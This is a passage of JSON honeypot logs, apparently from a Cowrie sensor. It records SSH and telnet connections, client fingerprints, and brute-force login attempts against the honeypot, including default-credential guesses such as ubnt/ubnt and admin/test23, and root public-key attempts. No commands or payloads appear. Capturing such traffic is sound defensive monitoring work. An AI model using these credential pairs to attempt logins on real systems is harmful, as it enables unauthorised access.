{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.868743Z","src_ip":"31.57.216.40","session":"620328152008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":52666,"dst_ip":"10.17.0.5","dst_port":22,"session":"a73985dc1a4c","protocol":"ssh","message":"New connection: 103.228.69.212:52666 (10.17.0.5:22) [session: a73985dc1a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:40.194319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:40.199290Z","src_ip":"103.228.69.212","session":"a73985dc1a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:40.444261Z","src_ip":"103.228.69.212","session":"a73985dc1a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:41.448895Z","src_ip":"103.228.69.212","session":"a73985dc1a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:42.695168Z","src_ip":"103.228.69.212","session":"a73985dc1a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.33.44.245","src_port":55990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91fc6cdc833","protocol":"telnet","message":"New connection: 46.33.44.245:55990 (159.203.135.109:23) [session: b91fc6cdc833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:56.470287Z"}
{"eventid":"cowrie.session.closed","duration":12.922786951065063,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:09.392922Z","src_ip":"46.33.44.245","session":"b91fc6cdc833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":13194,"dst_ip":"159.203.135.109","dst_port":22,"session":"3930f862a352","protocol":"ssh","message":"New connection: 193.46.255.86:13194 (159.203.135.109:22) [session: 3930f862a352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:10.146453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:10.151583Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:10.280872Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:10.873038Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:12.004769Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:13.135993Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:14.268607Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:15.401708Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:16.535315Z","src_ip":"193.46.255.86","session":"3930f862a352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":53800,"dst_ip":"10.17.0.5","dst_port":22,"session":"40965c23f4bb","protocol":"ssh","message":"New connection: 211.254.212.59:53800 (10.17.0.5:22) [session: 40965c23f4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:17.397557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:17.402038Z","src_ip":"211.254.212.59","session":"40965c23f4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:17.601594Z","src_ip":"211.254.212.59","session":"40965c23f4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:18.433675Z","src_ip":"211.254.212.59","session":"40965c23f4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:19.637009Z","src_ip":"211.254.212.59","session":"40965c23f4bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":43314,"dst_ip":"10.17.0.5","dst_port":22,"session":"910f1a05463c","protocol":"ssh","message":"New connection: 179.61.232.245:43314 (10.17.0.5:22) [session: 910f1a05463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:37.843238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:37.848489Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:37.880887Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:21:7a:0c:d9:aa:c9:d5:3a:7d:b4:33:19:6d:c1:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Q7Jxf7F5BqdicLweHSg3HfKvoMiN9r40kerj8ieHzQz5L1y8YyJTIjLUUDZteaT7+zAJMMS4CsG/yf6kZd7ylB3j4XZeYDJo9kqjRuqZYARxxanZNqGHtTQo3Qxv8uz0UQmVHDQBhKg7D/QFoZgiLr7+v0/DcWQL+YPid4l9rnDNvTYuskn1HtvzBJqCrJx5m1DYCqsbf8FekzgA+2f2Q4g45f4FGzPEH6pCFvzimM4M+Y/9l82XEHz19On28z2ORkHToFdurdzqySrimDqWRozM2VXBxlvHlgubxua5ZPHAiwvkwvvp4KRuzb3LgSzuiWzC2W86g/6pPe64Rn/3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:21:7a:0c:d9:aa:c9:d5:3a:7d:b4:33:19:6d:c1:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:37.996013Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:21:7a:0c:d9:aa:c9:d5:3a:7d:b4:33:19:6d:c1:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Q7Jxf7F5BqdicLweHSg3HfKvoMiN9r40kerj8ieHzQz5L1y8YyJTIjLUUDZteaT7+zAJMMS4CsG/yf6kZd7ylB3j4XZeYDJo9kqjRuqZYARxxanZNqGHtTQo3Qxv8uz0UQmVHDQBhKg7D/QFoZgiLr7+v0/DcWQL+YPid4l9rnDNvTYuskn1HtvzBJqCrJx5m1DYCqsbf8FekzgA+2f2Q4g45f4FGzPEH6pCFvzimM4M+Y/9l82XEHz19On28z2ORkHToFdurdzqySrimDqWRozM2VXBxlvHlgubxua5ZPHAiwvkwvvp4KRuzb3LgSzuiWzC2W86g/6pPe64Rn/3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.000786Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:e7:4a:b4:b2:1f:01:1c:6e:27:ae:72:4c:e1:cf:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn+b2GhO9bpAyEnrwoYKBydu/Dg9WbXf1IqCgh4u4jBdjna+vVN2CrJjlJnI5Rp8CnkD7bKQ79CHEafeW9ld66f0FxQHAP3kYaK7hH0yYMRwNAz+RpAskaL/3lY0816nStjaWK4mVUzsUTZGyFDl7bJyoNhnA9VCtMKgVeb1Zj4Lfp/wt/xO7v3Yly/P61w2Sm/OwTNJ8Ztgpmc7iCXCgEs7FkM+IBnnbUn5gzidcHBkPEl21iRN22VD+VYMQeyL8k79gtM9eTbWpqNAfIPa7NPnNLHqtZDQorAvCMlwonx5hUnsN19AvVzNVhiF07ayfUZMSNQtWIiloKwPCfsNnlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:e7:4a:b4:b2:1f:01:1c:6e:27:ae:72:4c:e1:cf:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.030318Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:e7:4a:b4:b2:1f:01:1c:6e:27:ae:72:4c:e1:cf:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn+b2GhO9bpAyEnrwoYKBydu/Dg9WbXf1IqCgh4u4jBdjna+vVN2CrJjlJnI5Rp8CnkD7bKQ79CHEafeW9ld66f0FxQHAP3kYaK7hH0yYMRwNAz+RpAskaL/3lY0816nStjaWK4mVUzsUTZGyFDl7bJyoNhnA9VCtMKgVeb1Zj4Lfp/wt/xO7v3Yly/P61w2Sm/OwTNJ8Ztgpmc7iCXCgEs7FkM+IBnnbUn5gzidcHBkPEl21iRN22VD+VYMQeyL8k79gtM9eTbWpqNAfIPa7NPnNLHqtZDQorAvCMlwonx5hUnsN19AvVzNVhiF07ayfUZMSNQtWIiloKwPCfsNnlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.034310Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:96:e6:c0:48:15:e4:32:7e:52:af:6b:b4:6f:ee:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvWqLxwPQe6oQoCXPZBTok0K/cG0alFr7IYTtkhodtcAU/khfDS1xllxsF+rua9w8SDTxr/WnVWe4HjdXKN9qxfpi2OgSxeeHqSTBRufIJA+jHEWLSk9/HoguN6uqzR+Mf6jO37WHRc7Ux1+0ZKQJNdbwT2eHsTOhi76YWgOA9hz/XzZvdMHTy2jvvnm5+Bo2WF1DkDl0T2kYV+4zMzHXapPgvfI1NhPObWFl4/sB4UVsCall3whRECftSAdETTvhSd06gWMsofGaZSbyRB4kopnnhUKRLIkdo8j9l3ZFSo2CpuJ1rz9OgwZeya49QMxUjZe4OSz1FSAUqaCBPlZq6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:96:e6:c0:48:15:e4:32:7e:52:af:6b:b4:6f:ee:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.062941Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:96:e6:c0:48:15:e4:32:7e:52:af:6b:b4:6f:ee:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvWqLxwPQe6oQoCXPZBTok0K/cG0alFr7IYTtkhodtcAU/khfDS1xllxsF+rua9w8SDTxr/WnVWe4HjdXKN9qxfpi2OgSxeeHqSTBRufIJA+jHEWLSk9/HoguN6uqzR+Mf6jO37WHRc7Ux1+0ZKQJNdbwT2eHsTOhi76YWgOA9hz/XzZvdMHTy2jvvnm5+Bo2WF1DkDl0T2kYV+4zMzHXapPgvfI1NhPObWFl4/sB4UVsCall3whRECftSAdETTvhSd06gWMsofGaZSbyRB4kopnnhUKRLIkdo8j9l3ZFSo2CpuJ1rz9OgwZeya49QMxUjZe4OSz1FSAUqaCBPlZq6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.067656Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:c7:cd:9d:dc:a8:18:b4:7f:e8:d2:9d:61:da:3d:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpfKrreeRbMcpZPjt71fmWtqH3wHePRxey5euF6OJHpbdTX8Ujr/J3+/PDgQ93ii0F3XaEUlZxtNz//6ltxdCsMH97bZQvEAFVIptgcqP0VxKWvCVnHdciYjOQ7Y5/K50Yos6EDFd7TZnebuXNUJ+ATf8IzuttLrcpzGuZ7Rzqn+s/iLFiZvR2qVdr6wBNwWIFlEFF56mKRzXRrcFem4O+fgWHxTlXww79kR3GfrhunTQdGoTzk6kTT6H52Zcyc7qvHWrvfnEDOWK/n4Q5ZI0l+bj/APm3U+tQkqKELJK8+byEX+r9w7/FR1EAnIh8JAHyehMpJhRaxoCb5J2diIxcxWpvhEgsEwRf9vgatlfsQrxOazf2r0LwK4MhAACvPJChp6gBwwQKhW1fwfN6Lr2Cn3wGi8Jt8S8tmoTVWSYMIH0HaQvpcggw/+SUmty/UbVVZa4F4xDsHef++IgAxdjaNPEARtv/ywHsSYxIUnIZaug8TaqGBWyOTqCIMR1B43s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:c7:cd:9d:dc:a8:18:b4:7f:e8:d2:9d:61:da:3d:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.096814Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:c7:cd:9d:dc:a8:18:b4:7f:e8:d2:9d:61:da:3d:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpfKrreeRbMcpZPjt71fmWtqH3wHePRxey5euF6OJHpbdTX8Ujr/J3+/PDgQ93ii0F3XaEUlZxtNz//6ltxdCsMH97bZQvEAFVIptgcqP0VxKWvCVnHdciYjOQ7Y5/K50Yos6EDFd7TZnebuXNUJ+ATf8IzuttLrcpzGuZ7Rzqn+s/iLFiZvR2qVdr6wBNwWIFlEFF56mKRzXRrcFem4O+fgWHxTlXww79kR3GfrhunTQdGoTzk6kTT6H52Zcyc7qvHWrvfnEDOWK/n4Q5ZI0l+bj/APm3U+tQkqKELJK8+byEX+r9w7/FR1EAnIh8JAHyehMpJhRaxoCb5J2diIxcxWpvhEgsEwRf9vgatlfsQrxOazf2r0LwK4MhAACvPJChp6gBwwQKhW1fwfN6Lr2Cn3wGi8Jt8S8tmoTVWSYMIH0HaQvpcggw/+SUmty/UbVVZa4F4xDsHef++IgAxdjaNPEARtv/ywHsSYxIUnIZaug8TaqGBWyOTqCIMR1B43s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.102940Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:69:0d:8a:7a:df:54:32:41:dd:dc:b5:d1:f5:33:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3ukM0mJ0ZUiiuJ59/USSWFHX8F32FjChmbcXwnV1rDii7aFv0x35mZ6JcD0UpYURNLGmpmh14tSMqTBCT2FoakoKa5v/PXcjMlcesRrM0eb++2jKRyQcUvsnHpdG+CxoNQSWdnYoJsCbIYiHHtc8V3OxxmLBNgWoXI1gLPCPGx99vQeP1mGNEwIL+j17tZd/jSQGrpMQCPrmdaJugxM1sUkEXoURtOySdhBdRLv4BmQR99ABkUQnf5Ivpb2uALCbBtwH2IBDWuuct8sBqdqEEqy9PwyLUpEfq/qU2j5riq6rtKvt21w/HZeJg4IYy3ySM8kVLHYa5XAzLBWkIHyCQkFH9tJII9FmNAqhLj6UyLnglo3TiqNKmubc1Nvl+uy1G40HdFun19BK+qf+i5xvRZu0fvUTCOeFq2dw8dHq9/fOz6IElDPKBVuED1XqMgQlU9ni8LXY6oX7QXLtp8/DZ7oKf5Epx4Nlka2xtW3+CxKicL36ziI+Cnav+zFVbugnLBIqGh9boOwx69Kmp/edAhL9LRFA/E6thHh6TH3/qkTynLvJApYHOasGb0Z9HeW+fqnduF56H3z+x7Mi+N5J15jP9Min50M9768wZ863+sXKox78IGwkX9uWT7quY4aY4XkdPYvb9KEmGu9wFKx9wQIzlmimE1CkM507E0G9wmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:69:0d:8a:7a:df:54:32:41:dd:dc:b5:d1:f5:33:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.131648Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:69:0d:8a:7a:df:54:32:41:dd:dc:b5:d1:f5:33:8f","key":"ssh-rsa 